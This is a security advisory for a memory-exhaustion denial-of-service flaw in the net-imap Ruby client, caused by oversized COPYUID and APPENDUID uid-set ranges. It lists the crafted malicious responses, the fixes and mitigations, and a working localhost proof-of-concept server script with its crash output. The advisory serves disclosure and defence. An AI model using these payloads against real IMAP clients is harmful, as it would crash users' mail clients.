Possible DoS by memory exhaustion in net-imap

### Summary There is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges. ### Details IMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges. The `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses. Malicious inputs: ```ruby # 40 bytes expands to ~1.6GB: "* OK [COPYUID 1 1:99999999 1:99999999]\r\n" # Worst *valid* input scenario (using uint32 max), # 44 bytes expands to 64GiB: "* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n" # Numbers must be non-zero uint32, but this isn't validated. Arrays larger than # UINT32_MAX can be created. For example, the following would theoretically # expand to almost 800 exabytes: "* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n" ``` Simple way to test this: ```ruby require "net/imap" def test(size) input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n" parser = Net::IMAP::ResponseParser.new parser.parse input end test(99_999_999) ``` ### Fixes #### Preferred Fix, minor API changes Upgrade to v0.4.19, v0.5.6, or higher, and configure: ```ruby # globally Net::IMAP.config.parser_use_deprecated_uidplus_data = false # per-client imap = Net::IMAP.new(hostname, ssl: true, parser_use_deprecated_uidplus_data: false) imap.config.parser_use_deprecated_uidplus_data = false ``` This replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html). For v0.3.8, this option is not available. For v0.4.19, the default value is `true`. For v0.5.6, the default value is `:up_to_max_size`. For v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_. #### Mitigation, backward compatible API Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher. For backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied. Assign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size. When `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`. When `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`. For v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_. #### Please Note: unhandled responses If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following: ```ruby limit = 1000 imap.add_response_handler do |resp| next unless resp.respond_to?(:name) && resp.respond_to?(:data) name = resp.name code = resp.data.code&.name if resp.data.respond_to?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { _1.slice!(0...-limit) } imap.responses(code) { _1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end ``` ### Proof of concept Save the following to a ruby file (e.g: `poc.rb`) and make it executable: ```ruby #!/usr/bin/env ruby require 'socket' require 'net/imap' if !defined?(Net::IMAP.config) puts "Net::IMAP.config is not available" elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data) puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available" else Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size" end size = Integer(ENV["UID_SET_SIZE"] || 2**32-1) def server_addr Addrinfo.tcp("localhost", 0).ip_address end def create_tcp_server TCPServer.new(server_addr, 0) end def start_server th = Thread.new do yield end sleep 0.1 until th.stop? end def copyuid_response(tag: "*", size: 2**32-1, text: "too large?") "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n" end def appenduid_response(tag: "*", size: 2**32-1, text: "too large?") "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n" end server = create_tcp_server port = server.addr[1] puts "Server started on port #{port}" # server start_server do sock = server.accept begin sock.print "* OK test server\r\n" cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}" malicious_response = appenduid_response(size:) puts "Sending: #{malicious_response.chomp}" sock.print malicious_response malicious_response = copyuid_response(size:) puts "Sending: #{malicious_response.chomp}" sock.print malicious_response sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n" sock.print "#{tag} OK CAPABILITY completed\r\n" cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}" sock.print "* BYE If you made it this far, you passed the test!\r\n" sock.print "#{tag} OK LOGOUT completed\r\n" rescue Exception => ex puts "Error in server: #{ex.message} (#{ex.class})" ensure sock.close server.close end end # client begin puts "Client connecting,.." imap = Net::IMAP.new(server_addr, port: port) puts "Received capabilities: #{imap.capability}" pp responses: imap.responses imap.logout rescue Exception => ex puts "Error in client: #{ex.message} (#{ex.class})" puts ex.full_message ensure imap.disconnect if imap end ``` Use `ulimit` to limit the process's virtual memory. The following example limits virtual memory to 1GB: ```console $ ( ulimit -v 1000000 && exec ./poc.rb ) Server started on port 34291 Client connecting,.. Received: RUBY0001 CAPABILITY Sending: * OK [APPENDUID 1 1:4294967295] too large? Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large? Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET) Error in client: failed to allocate memory (NoMemoryError) /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError) from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command' from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability' from /workspace/poc.rb:70:in '<main>' ```

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